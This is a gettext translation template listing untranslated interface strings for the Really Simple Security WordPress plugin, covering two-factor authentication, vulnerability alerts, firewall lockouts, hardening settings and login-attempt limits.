msgid "Backup Verification Codes (Single Use)"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-backup-codes.php:173
msgid "Generate Verification Codes"
msgstr ""

#. translators: %s: count
#: security/wordpress/two-fa/class-rsssl-two-factor-backup-codes.php:180
#: security/wordpress/two-fa/class-rsssl-two-factor-backup-codes.php:303
msgid "%s unused code remaining."
msgid_plural "%s unused codes remaining."
msgstr[0] ""
msgstr[1] ""

#: security/wordpress/two-fa/class-rsssl-two-factor-backup-codes.php:189
msgid "Write these down!  Once you navigate away from this page, you will not be able to view these codes again."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-backup-codes.php:191
msgid "Download Codes"
msgstr ""

#. translators: %s: the site's domain
#: security/wordpress/two-fa/class-rsssl-two-factor-backup-codes.php:287
msgid "Two-Factor Backup Codes for %s"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-backup-codes.php:307
msgid "Unable to enable Backup Codes provider for this user."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-backup-codes.php:342
msgid "Enter a backup verification code."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:92
msgctxt "Provider Label"
msgid "Email"
msgstr ""

#. translators: %s: site name
#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:259
msgid "Your login confirmation code for %s"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:282
msgid "Below you'll find the email activation code for %1$s. It's valid for 15 minutes. %2$s"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:288
msgid "Below you will find your login code for %1$s. It's valid for 15 minutes. %2$s"
msgstr ""

#. translators: %s is replaced with the site url
#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:320
#: security/wordpress/two-fa/class-rsssl-two-factor.php:267
#: security/wordpress/two-fa/traits/trait-rsssl-email-trait.php:142
msgid "Notification by %s"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:323
msgid "Hi"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:351
msgid "Log In"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:386
msgid "Don't use Two-Factor Authentication"
msgstr ""

#. translators: %s: email address
#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:455
msgid "Authentication codes will be sent to %s."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:532
#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:864
msgid "Enabled"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:532
#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:867
#: settings/config/fields/firewall.php:103
#: settings/config/fields/firewall.php:106
#: settings/config/fields/security-headers.php:14
#: settings/config/menu.php:371
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/DataTable/DataTableWrapper.js:167
#: settings/src/Settings/DynamicDataTable/DynamicDataTable.js:168
#: settings/src/Settings/EventLog/EventLogDataTable.js:232
#: settings/src/Settings/firewall/UserAgentTable.js:273
#: settings/src/Settings/GeoBlockList/BlockListDatatable.js:362
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:520
#: settings/src/Settings/GeoBlockList/WhiteListDatatable.js:415
#: settings/src/Settings/LearningMode/LearningMode.js:340
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:454
#: settings/src/Settings/LimitLoginAttempts/IpAddressDatatable.js:319
#: settings/src/Settings/LimitLoginAttempts/UserDatatable.js:281
#: settings/src/Settings/PermissionsPolicy.js:205
#: settings/src/Settings/RiskConfiguration/VulnerabilitiesOverview.js:134
#: settings/src/Settings/RolesDropDown.js:94
#: settings/src/Settings/TwoFA/TwoFaDataTable.js:319
#: settings/src/Settings/TwoFA/TwoFaEnabledDropDown.js:128
msgid "Disabled"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:534
#: security/wordpress/two-fa/class-rsssl-two-factor-settings.php:579
#: settings/config/fields/vulnerability-detection.php:108
#: settings/config/menu.php:35
msgid "Email"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-email.php:535
msgid "Receive a code by email"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php:216
msgid "Invalid provider"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php:222
#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:183
#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:216
msgid "Invalid Two Factor Authentication code."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-profile-settings.php:171
msgid "Two-Factor Authentication for TOTP failed. No Authentication code provided, please try again."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-profile-settings.php:197
msgid "The Two-Factor Authentication setup for TOTP failed. Please try again."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-profile-settings.php:224
msgid "The Two-Factor Authentication setup for email failed. Please try again."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-profile-settings.php:356
#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:926
msgid "Key copied"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-profile-settings.php:357
#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:927
msgid "Could not copy text: "
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-settings.php:571
msgid "not set"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-settings.php:575
msgid "Authenticator App"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-settings.php:583
#: security/wordpress/two-fa/class-rsssl-two-factor-settings.php:600
#: settings/config/fields/vulnerability-detection.php:58
#: settings/config/fields/vulnerability-detection.php:80
#: settings/config/fields/vulnerability-detection.php:102
#: settings/config/fields/vulnerability-detection.php:195
msgid "None"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:137
msgctxt "Provider Label"
msgid "Time Based One-Time Password (TOTP)"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:177
#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:212
msgid "Invalid Two Factor Authentication secret key."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:189
#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:220
msgid "Unable to save Two Factor Authentication code. Please re-scan the QR code and enter the code provided by your application."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:224
msgid "Unable to enable TOTP provider for this user."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:324
msgid "Please scan the QR code or manually enter the key, then enter an authentication code from your app in order to complete setup."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:418
msgid "Secret key is configured and registered. It is not possible to view it again for security reasons."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:421
msgid "Reset Key"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:423
msgid "You will have to re-scan the QR code on all devices as the previous codes will stop working."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:706
msgid "Please enter the code generated by your authenticator app."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:722
msgid "Authenticate"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:879
msgid "Authenticator app"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:880
msgid "Use an authenticator app on your mobile device to generate a code."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor.php:227
msgid "Important security notice"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor.php:235
msgid "Please login"
msgstr ""

#. translators: 1: Site URL.
#: security/wordpress/two-fa/class-rsssl-two-factor.php:241
msgid "You are receiving this email because you have an account registered at %s."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor.php:256
msgid "The site's security policy requires you to configure Two-Factor Authentication to protect against account theft. %1$s and configure Two-Factor authentication %2$swithin three days%3$s. If you haven't performed the configuration by then, %4$syou will be unable to login%5$s."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor.php:270
msgid "Hi %s %s"
msgstr ""

#: security/wordpress/two-fa/traits/trait-rsssl-email-trait.php:28
msgid "Your password was compromised and has been reset"
msgstr ""

#. translators: %1$s: user login, %2$s: site url, %3$s: password best practices link, %4$s: lost password url
#: security/wordpress/two-fa/traits/trait-rsssl-email-trait.php:49
msgid ""
"Hello %1$s, an unusually high number of failed login attempts have been detected on your account at %2$s.\n"
"\n"
"These attempts successfully entered your password, and were only blocked because they failed to enter your second authentication factor. Despite not being able to access your account, this behavior indicates that the attackers have compromised your password. The most common reasons for this are that your password was easy to guess, or was reused on another site which has been compromised.\n"
"\n"
"To protect your account, your password has been reset, and you will need to create a new one. For advice on setting a strong password, please read %3$s\n"
"\n"
"To pick a new password, please visit %4$s\n"
"\n"
"This is an automated notification. If you would like to speak to a site administrator, please contact them directly."
msgstr ""

#: security/wordpress/two-fa/traits/trait-rsssl-email-trait.php:101
msgid "Compromised password for %s has been reset"
msgstr ""

#: security/wordpress/two-fa/traits/trait-rsssl-email-trait.php:121
msgid "Hello, this is a notice from your website to inform you that an unusually high number of failed login attempts have been detected on the %1$s account (ID %2$d). Those attempts successfully entered the user's password, and were only blocked because they entered invalid second authentication factors. To protect their account, the password has automatically been reset, and they have been notified that they will need to create a new one. If you do not wish to receive these notifications, you can disable them with the `two_factor_notify_admin_user_password_reset` filter. See %3$s for more information. Thank you"
msgstr ""

#: security/wordpress/two-fa/traits/trait-rsssl-email-trait.php:145
msgid "Compromised password reset"
msgstr ""

#: security/wordpress/user-enumeration.php:10
msgid "forbidden - number in author name not allowed = %s"
msgstr ""

#: security/wordpress/vulnerabilities.php:274
#: security/wordpress/vulnerabilities.php:282
msgid "No known vulnerabilities detected"
msgstr ""

#: security/wordpress/vulnerabilities.php:294
msgid "Vulnerabilities detected"
msgstr ""

#: security/wordpress/vulnerabilities.php:302
msgid "%s vulnerability has been detected."
msgid_plural "%s vulnerabilities have been detected."
msgstr[0] ""
msgstr[1] ""

#: security/wordpress/vulnerabilities.php:303
msgid "Please check the vulnerabilities overview for more information and take appropriate action."
msgstr ""

#: security/wordpress/vulnerabilities.php:308
msgid "View vulnerabilities"
msgstr ""

#: security/wordpress/vulnerabilities.php:350
msgid "Please take appropriate action."
msgstr ""

#: security/wordpress/vulnerabilities.php:379
msgid "Site wide - Test Notification"
msgstr ""

#: security/wordpress/vulnerabilities.php:380
#: security/wordpress/vulnerabilities.php:402
msgid "This is a test notification from Really Simple Security. You can safely dismiss this message."
msgstr ""

#: security/wordpress/vulnerabilities.php:401
msgid "Dashboard - Test Notification"
msgstr ""

#: security/wordpress/vulnerabilities.php:602
#: settings/config/menu.php:182
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/VulnerabilitiesHeader.js:15
msgid "Vulnerabilities"
msgstr ""

#: security/wordpress/vulnerabilities.php:617
msgid "Force update"
msgstr ""

#: security/wordpress/vulnerabilities.php:619
msgid "Will run a frequent update process on vulnerable components."
msgstr ""

#: security/wordpress/vulnerabilities.php:623
msgid "Quarantine"
msgstr ""

#: security/wordpress/vulnerabilities.php:625
msgid "Components will be quarantined if the update process fails."
msgstr ""

#: security/wordpress/vulnerabilities.php:709
#: security/wordpress/vulnerabilities.php:1182
msgid "Quarantined"
msgstr ""

#: security/wordpress/vulnerabilities.php:1165
msgid "Vulnerability: %s"
msgstr ""

#: security/wordpress/vulnerabilities.php:1511
msgid "Vulnerability Alert: %s"
msgstr ""

#: security/wordpress/vulnerabilities.php:1512
msgid "%s: %s vulnerability found"
msgid_plural "%s: %s vulnerabilities found"
msgstr[0] ""
msgstr[1] ""

#: security/wordpress/vulnerabilities.php:1513
msgid "This is a vulnerability alert from Really Simple Security for %s. "
msgstr ""

#: security/wordpress/vulnerabilities.php:1546
msgid "A %s vulnerability is found in %s."
msgstr ""

#: security/wordpress/vulnerabilities.php:1546
msgid "Multiple %s vulnerabilities have been found."
msgstr ""

#: security/wordpress/vulnerabilities.php:1551
msgid "Based on your settings, Really Simple Security will take appropriate action, or you will need to solve it manually."
msgstr ""

#: security/wordpress/vulnerabilities.php:1566
msgid "You have %s critical vulnerability"
msgid_plural "You have %s critical vulnerabilities"
msgstr[0] ""
msgstr[1] ""

#: security/wordpress/vulnerabilities.php:1569
msgid "You have %s high-risk vulnerability"
msgid_plural "You have %s high-risk vulnerabilities"
msgstr[0] ""
msgstr[1] ""

#: security/wordpress/vulnerabilities.php:1572
msgid "You have %s medium-risk vulnerability"
msgid_plural "You have %s medium-risk vulnerabilities"
msgstr[0] ""
msgstr[1] ""

#: security/wordpress/vulnerabilities.php:1575
msgid "You have %s low-risk vulnerability"
msgid_plural "You have %s low-risk vulnerabilities"
msgstr[0] ""
msgstr[1] ""

#: settings/config/disable-fields-filter.php:15
msgid "On Apache you can use a .htaccess redirect, which is usually faster, but may cause issues on some configurations. Read the instructions in the sidebar first."
msgstr ""

#: settings/config/disable-fields-filter.php:19
#: settings/config/fields/encryption.php:14
#: settings/config/fields/encryption.php:23
msgid "Redirect method"
msgstr ""

#: settings/config/disable-fields-filter.php:20
msgid "Enable .htaccess only if you know how to regain access in case of issues."
msgstr ""

#: settings/config/disable-fields-filter.php:20
#: settings/config/fields/encryption.php:24
msgid "Redirects your site to https with a SEO friendly 301 redirect if it is requested over http."
msgstr ""

#: settings/config/disable-fields-filter.php:62
msgid "Email validation"
msgstr ""

#: settings/config/disable-fields-filter.php:65
msgid "Email validation completed"
msgstr ""

#: settings/config/disable-fields-filter.php:67
msgid "You're using a feature where email is an essential part of the functionality. Please validate that you can send emails on your server."
msgstr ""

#: settings/config/disable-fields-filter.php:68
msgid "Email not verified yet. Verify your email address to get the most out of Really Simple Security."
msgstr ""

#: settings/config/fields/access-control.php:12
#: settings/config/fields/access-control.php:19
msgid "Enforce strong passwords"
msgstr ""

#: settings/config/fields/access-control.php:15
msgid "This adds extra requirements for strong passwords for new users and updated passwords."
msgstr ""

#: settings/config/fields/access-control.php:20
msgid "Improve the default WordPress password strength check. You can also enforce frequent password changes for user roles."
msgstr ""

#: settings/config/fields/access-control.php:20
#: settings/config/fields/security-headers.php:221
msgid "They might be misused if you don’t actively tell the browser to disable these features."
msgstr ""

#: settings/config/fields/access-control.php:28
msgid "Enforce frequent password change"
msgstr ""

#: settings/config/fields/access-control.php:44
msgid "User roles for password change"
msgstr ""

#: settings/config/fields/access-control.php:59
msgid "6 months"
msgstr ""

#: settings/config/fields/access-control.php:60
msgid "1 year"
msgstr ""

#: settings/config/fields/access-control.php:61
msgid "2 years"
msgstr ""

#: settings/config/fields/access-control.php:63
msgid "Change passwords every"
msgstr ""

#: settings/config/fields/access-control.php:78
msgid "8 hours (recommended)"
msgstr ""

#: settings/config/fields/access-control.php:79
msgid "48 hours (default)"
msgstr ""

#: settings/config/fields/access-control.php:81
msgid "Limit logged in session duration"
msgstr ""

#: settings/config/fields/access-control.php:84
msgid "Prevent session hijacking"
msgstr ""

#: settings/config/fields/access-control.php:85
msgid "Really Simple Security allows you to limit the default logged in session duration. By default, WordPress will keep users logged in for 48 hours, or even 14 days when clicking the ‘remember me’ checkbox. An attacker could possibly steal the logged in cookie and gain access to a user’s account. Limiting the logged in duration to 8 hours will greatly reduce the risk of session hijacking."
msgstr ""

#: settings/config/fields/access-control.php:94
msgid "Hide the remember me checkbox"
msgstr ""

#: settings/config/fields/encryption.php:13
msgid "Changing redirect methods should be done with caution. Please make sure you have read our instructions beforehand at the right-hand side."
msgstr ""

#: settings/config/fields/encryption.php:17
msgid "No redirect"
msgstr ""

#: settings/config/fields/encryption.php:18
msgid "301 PHP redirect"
msgstr ""

#: settings/config/fields/encryption.php:19
msgid "301 .htaccess redirect (read instructions first)"
msgstr ""

#: settings/config/fields/encryption.php:27
msgid "Settings update: .htaccess redirect"
msgstr ""

#: settings/config/fields/encryption.php:28
msgid "The .htaccess redirect has been enabled on your site. If the server configuration is non-standard, this might cause issues. Please check if all pages on your site are functioning properly."
msgstr ""

#: settings/config/fields/encryption.php:46
msgid "Mixed content fixer"
msgstr ""

#: settings/config/fields/encryption.php:55
msgid "Mixed content fixer - init hook"
msgstr ""

#: settings/config/fields/encryption.php:59
msgid "If this option is set to true, the mixed content fixer will fire on the init hook instead of the template_redirect hook. Only use this option when you experience problems with the mixed content fixer."
msgstr ""

#: settings/config/fields/encryption.php:73
msgid "Mixed content fixer - back-end"
msgstr ""

#: settings/config/fields/encryption.php:74
msgid "Only enable this if you experience mixed content in the admin environment of your WordPress website."
msgstr ""

#: settings/config/fields/encryption.php:85
msgid "Mixed content scan"
msgstr ""

#: settings/config/fields/encryption.php:89
msgid "About the Mixed Content Scan"
msgstr ""

#: settings/config/fields/encryption.php:90
#: settings/config/menu.php:91
msgid "The extensive mixed content scan will list all issues and provide a fix, or instructions to fix manually."
msgstr ""

#: settings/config/fields/encryption.php:94
msgid "Type"
msgstr ""

#: settings/config/fields/encryption.php:101
#: settings/config/fields/vulnerability-detection.php:223
msgid "Description"
msgstr ""

#: settings/config/fields/encryption.php:107
#: settings/config/fields/security-headers.php:386
msgid "Location"
msgstr ""

#: settings/config/fields/firewall.php:13
msgid "Enable Firewall"
msgstr ""

#: settings/config/fields/firewall.php:31
#: settings/config/fields/firewall.php:71
#: settings/config/fields/firewall.php:282
#: settings/config/fields/limit-login-attempts.php:182
#: settings/config/fields/limit-login-attempts.php:306
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/GeoBlockList/TrustIpAddressModal.js:89
#: settings/src/Settings/LimitLoginAttempts/AddIpAddressModal.js:81
msgid "IP Address"
msgstr ""

#: settings/config/fields/firewall.php:38
#: settings/config/fields/firewall.php:78
#: settings/config/fields/firewall.php:184
msgid "Note"
msgstr ""

#: settings/config/fields/firewall.php:44
#: settings/config/fields/firewall.php:290
#: settings/config/fields/limit-login-attempts.php:149
#: settings/config/fields/limit-login-attempts.php:195
#: settings/config/fields/limit-login-attempts.php:292
#: settings/config/fields/vulnerability-detection.php:167
msgid "Date"
msgstr ""

#: settings/config/fields/firewall.php:84
msgid "Time left"
msgstr ""

#: settings/config/fields/firewall.php:102
msgid "Threshold"
msgstr ""

#: settings/config/fields/firewall.php:103
msgid "A lockout will occur if an IP address exceeds the threshold within the given timeframe. Select ‘%s’ if you want to disable 404 blocking."
msgstr ""

#: settings/config/fields/firewall.php:107
msgid "Lax - 10 errors in 2 seconds"
msgstr ""

#: settings/config/fields/firewall.php:108
msgid "Normal - 10 errors in 5 seconds"
msgstr ""

#: settings/config/fields/firewall.php:109
msgid "Strict - 10 errors in 10 seconds"
msgstr ""

#: settings/config/fields/firewall.php:123
#: settings/config/fields/limit-login-attempts.php:76
msgid "Lockout duration"
msgstr ""

#: settings/config/fields/firewall.php:124
msgid "The IP address will see a locked out screen for the selected duration."
msgstr ""

#: settings/config/fields/firewall.php:126
msgid "30 minutes"
msgstr ""

#: settings/config/fields/firewall.php:127
msgid "1 hour"
msgstr ""

#: settings/config/fields/firewall.php:128
msgid "4 hours"
msgstr ""

#: settings/config/fields/firewall.php:129
msgid "1 day"
msgstr ""

#: settings/config/fields/firewall.php:143
msgid "Allow visitors that might accidentally exceed the threshold to unblock themselves using a Captcha."
msgstr ""

#: settings/config/fields/firewall.php:144
msgid "Trigger Captcha on lockout"
msgstr ""

#: settings/config/fields/firewall.php:147
#: settings/config/fields/limit-login-attempts.php:105
msgid "Please configure your %sCaptcha settings%s before enabling this setting"
msgstr ""

#: settings/config/fields/firewall.php:164
#: settings/config/menu.php:600
msgid "Deleted"
msgstr ""

#: settings/config/fields/firewall.php:177
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/firewall/UserAgentModal.js:105
msgid "User-Agent"
msgstr ""

#: settings/config/fields/firewall.php:191
msgid "Date Added"
msgstr ""

#: settings/config/fields/firewall.php:211
#: settings/config/fields/limit-login-attempts.php:123
#: settings/config/fields/limit-login-attempts.php:168
#: settings/config/fields/limit-login-attempts.php:214
msgid "Locked-out"
msgstr ""

#: settings/config/fields/firewall.php:231
#: settings/config/fields/firewall.php:276
#: settings/config/fields/limit-login-attempts.php:234
#: settings/config/fields/limit-login-attempts.php:286
msgid "Country"
msgstr ""

#: settings/config/fields/firewall.php:238
#: settings/config/fields/limit-login-attempts.php:242
msgid "Continent"
msgstr ""

#: settings/config/fields/firewall.php:245
#: settings/config/fields/limit-login-attempts.php:143
#: settings/config/fields/limit-login-attempts.php:189
#: settings/config/fields/limit-login-attempts.php:249
#: settings/config/fields/two-fa.php:158
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/SslLabs/SslLabsHeader.js:5
msgid "Status"
msgstr ""

#: settings/config/fields/firewall.php:265
#: settings/config/fields/limit-login-attempts.php:275
msgid "IP address overview"
msgstr ""

#: settings/config/fields/firewall.php:296
#: settings/config/fields/limit-login-attempts.php:314
msgid "Event"
msgstr ""

#: settings/config/fields/general.php:32
msgid "Hosting provider"
msgstr ""

#: settings/config/fields/general.php:50
msgid "Dismiss all notifications"
msgstr ""

#: settings/config/fields/general.php:60
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Installation.js:95
#: settings/src/LetsEncrypt/Installation.js:100
#: settings/src/LetsEncrypt/Installation.js:104
msgid "Download"
msgstr ""

#: settings/config/fields/general.php:70
msgid "Delete all data on plugin deletion"
msgstr ""

#: settings/config/fields/general.php:89
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/Support.js:45
msgid "Send"
msgstr ""

#: settings/config/fields/general.php:93
msgid "Verify your email address to get the most out of Really Simple Security."
msgstr ""

#: settings/config/fields/general.php:100
msgid "Notifications by email"
msgstr ""

#: settings/config/fields/general.php:101
msgid "Get notified of important changes, updates and settings. Recommended when using security features."
msgstr ""

#: settings/config/fields/general.php:111
msgid "Choose your provider"
msgstr ""

#: settings/config/fields/general.php:112
msgid "reCaptcha v2"
msgstr ""

#: settings/config/fields/general.php:113
msgid "hCaptcha"
msgstr ""

#: settings/config/fields/general.php:115
msgid "Captcha provider"
msgstr ""

#: settings/config/fields/general.php:133
msgid "reCaptcha site key"
msgstr ""

#: settings/config/fields/general.php:150
msgid "reCaptcha secret key"
msgstr ""

#: settings/config/fields/general.php:167
msgid "hCaptcha site key"
msgstr ""

#: settings/config/fields/general.php:184
msgid "hCaptcha secret key"
msgstr ""

#: settings/config/fields/general.php:201
msgid "Captcha has not yet been verified, you need to complete the process of a Captcha to verify it's availability."
msgstr ""

#: settings/config/fields/general.php:221
msgid "Stop editing the .htaccess file"
msgstr ""

#: settings/config/fields/hardening-basic.php:13
msgid "Disable \"anyone can register\""
msgstr ""

#: settings/config/fields/hardening-basic.php:19
msgid "About Hardening"
msgstr ""

#: settings/config/fields/hardening-basic.php:20
msgid "Hardening features limit the possibility of potential weaknesses and vulnerabilities which can be misused."
msgstr ""

#: settings/config/fields/hardening-basic.php:29
msgid "Disable the built-in file editors"
msgstr ""

#: settings/config/fields/hardening-basic.php:39
msgid "Prevent code execution in the public 'Uploads' folder"
msgstr ""

#: settings/config/fields/hardening-basic.php:49
msgid "Hide your WordPress version"
msgstr ""

#: settings/config/fields/hardening-basic.php:59
msgid "By default, WordPress shows if a username or email address exists when a login fails. This will change it to generic feedback."
msgstr ""

#: settings/config/fields/hardening-basic.php:60
msgid "Prevent login feedback"
msgstr ""

#: settings/config/fields/hardening-basic.php:70
msgid "Disable directory browsing"
msgstr ""

#: settings/config/fields/hardening-basic.php:80
msgid "Disable user enumeration"
msgstr ""

#: settings/config/fields/hardening-basic.php:90
msgid "Unset X-Powered-By header"
msgstr ""

#: settings/config/fields/hardening-basic.php:101
msgid "Block the username 'admin'"
msgstr ""

#: settings/config/fields/hardening-basic.php:103
msgid "Settings update: Username 'admin' renamed"
msgstr ""

#: settings/config/fields/hardening-basic.php:104
msgid "As a security precaution, the username ‘admin’ has been changed on %s. From now on, you can login with '%s' or an email address."
msgstr ""

#: settings/config/fields/hardening-basic.php:108
msgid "If the username 'admin' currently exists, you can rename it here. Please note that you can no longer use this username, and should use the new username or an email address"
msgstr ""

#: settings/config/fields/hardening-basic.php:118
msgid "Choose new username to replace 'admin'"
msgstr ""

#: settings/config/fields/hardening-basic.php:142
msgid "Disable XML-RPC"
msgstr ""

#: settings/config/fields/hardening-basic.php:151
msgid "Block user registrations when login and display name are the same"
msgstr ""

#: settings/config/fields/hardening-extended.php:14
msgid "A debug.log is publicly accessibile and has a standard location. This will change the location to a randomly named folder in /wp-content/"
msgstr ""

#: settings/config/fields/hardening-extended.php:16
msgid "Settings update: Debug.log file relocated"
msgstr ""

#: settings/config/fields/hardening-extended.php:17
msgid "From now on, the debug.log won’t be publicly accessible whenever wp-debugging is enabled. The debug log will be stored in a randomly named folder in /wp-content/. This prevents possible leakage of sensitive debugging information."
msgstr ""

#: settings/config/fields/hardening-extended.php:20
msgid "Change debug.log file location"
msgstr ""

#: settings/config/fields/hardening-extended.php:29
msgid "Disable application passwords"
msgstr ""

#: settings/config/fields/hardening-extended.php:38
#: settings/config/fields/hardening-extended.php:39
msgid "This setting will block attempts to assign administrator roles outside the native user creation process by WordPress. This might include other plugins that create, edit or assign roles to users. If you need to create an administrator in a third-party plugin, temporarily disable this setting while you make the changes."
msgstr ""

#: settings/config/fields/hardening-extended.php:43
msgid "Unauthorized administrators"
msgstr ""

#: settings/config/fields/hardening-extended.php:44
msgid "Many vulnerabilities are exploited by injecting a user with administrator capabilities outside of the native WordPress creation process. Under advanced hardening you can prevent this from happening."
msgstr ""

#: settings/config/fields/hardening-extended.php:46
msgid "Restrict creation of administrator roles"
msgstr ""

#: settings/config/fields/hardening-extended.php:55
msgid "This will limit or fully disable HTTP requests that are not needed, but could be used with malicious intent."
msgstr ""

#: settings/config/fields/hardening-extended.php:56
msgid "Disable HTTP methods"
msgstr ""

#: settings/config/fields/hardening-extended.php:65
msgid "Settings update: Database prefix changed"
msgstr ""

#: settings/config/fields/hardening-extended.php:66
msgid "Security through obscurity. Your site is no longer using the default wp_ prefix for database tables. The process has been designed to only complete and replace the tables after all wp_ tables are successfully renamed. In the unlikely event that this does lead to database issues on your site, please navigate to our troubleshooting article."
msgstr ""

#: settings/config/fields/hardening-extended.php:69
#: settings/config/fields/hardening-extended.php:70
msgid "This will permanently change your database prefixes and you can NOT rollback this feature. Please make sure you have a back-up."
msgstr ""

#: settings/config/fields/hardening-extended.php:72
msgid "Rename and randomize your database prefix"
msgstr ""

#: settings/config/fields/hardening-extended.php:81
msgid "Really Simple Security will scan for insecure file and folder permissions on a weekly basis. You will receive an email report and Dashboard notice if insecure permissions are found."
msgstr ""

#: settings/config/fields/hardening-extended.php:82
msgid "File permissions check"
msgstr ""

#: settings/config/fields/hardening-extended.php:92
msgid "Allows you to enter a custom login URL."
msgstr ""

#: settings/config/fields/hardening-extended.php:93
msgid "Enable Custom login URL"
msgstr ""

#: settings/config/fields/hardening-extended.php:95
msgid "You have changed your login URL"
msgstr ""

#: settings/config/fields/hardening-extended.php:96
msgid "Your login URL has changed to {login_url} to prevent common bot attacks on standard login URLs. Learn more about this feature, common questions and measures to prevent any issues."
msgstr ""

#: settings/config/fields/hardening-extended.php:107
msgid "Enter a custom login URL. This allows you to log in via this custom URL instead of /wp-admin or /wp-login.php"
msgstr ""

#: settings/config/fields/hardening-extended.php:108
msgid "Example: If you want to change your login page from /wp-admin/ to /control/ answer: control"
msgstr ""

#: settings/config/fields/hardening-extended.php:109
msgid "Custom login URL"
msgstr ""

#: settings/config/fields/hardening-extended.php:126
msgid "Users trying to enter via /wp-admin or /wp-login.php will be redirected to this URL."
msgstr ""

#: settings/config/fields/hardening-xml.php:37
msgid "About XML-RPC"
msgstr ""

#: settings/config/fields/hardening-xml.php:38
msgid "XML-RPC is a mechanism originally implemented into WordPress to publish content without the need to actually login to the backend. It is also used to login to WordPress from devices other than desktop, or the regular wp-admin interface."
msgstr ""

#: settings/config/fields/hardening-xml.php:48
#: settings/config/fields/two-fa.php:150
msgid "Method"
msgstr ""

#: settings/config/fields/hardening-xml.php:55
msgid "Login status"
msgstr ""

#: settings/config/fields/hardening-xml.php:61
msgid "Count"
msgstr ""

#: settings/config/fields/hibp-integration.php:12
msgid "Enable compromised password check"
msgstr ""

#: settings/config/fields/hibp-integration.php:13
msgid "Prevent usage of passwords that have been included in a databreach. This securely verifies part of the hashed password via the Have I Been Pwned API."
msgstr ""

#: settings/config/fields/limit-login-attempts.php:13
msgid "Enable Limit Login Attempts"
msgstr ""

#: settings/config/fields/limit-login-attempts.php:17
msgid "About Limit Login Attempts"
msgstr ""

#: settings/config/fields/limit-login-attempts.php:18
msgid "Limit Login Attempts protects your site from login attempts by unauthorized users. When you enable Limit Login Attempts, all login attempts are logged and repeated attempts to login with invalid credentials will be blocked automatically."
msgstr ""

#: settings/config/fields/limit-login-attempts.php:27
msgid "After this number of failed login attempts the user and IP address will be temporarily blocked."
msgstr ""

#: settings/config/fields/limit-login-attempts.php:29
msgid "Login attempts"
msgstr ""

#: settings/config/fields/limit-login-attempts.php:31
#: settings/config/fields/limit-login-attempts.php:32
#: settings/config/fields/limit-login-attempts.php:33
#: settings/config/fields/limit-login-attempts.php:34
msgid "attempts"
msgstr ""

#: settings/config/fields/limit-login-attempts.php:50
msgid "If the number of failed login attempts is exceeded within this timeframe, the IP address and user will be blocked."
msgstr ""

#: settings/config/fields/limit-login-attempts.php:52
msgid "Interval"
msgstr ""

#: settings/config/fields/limit-login-attempts.php:54
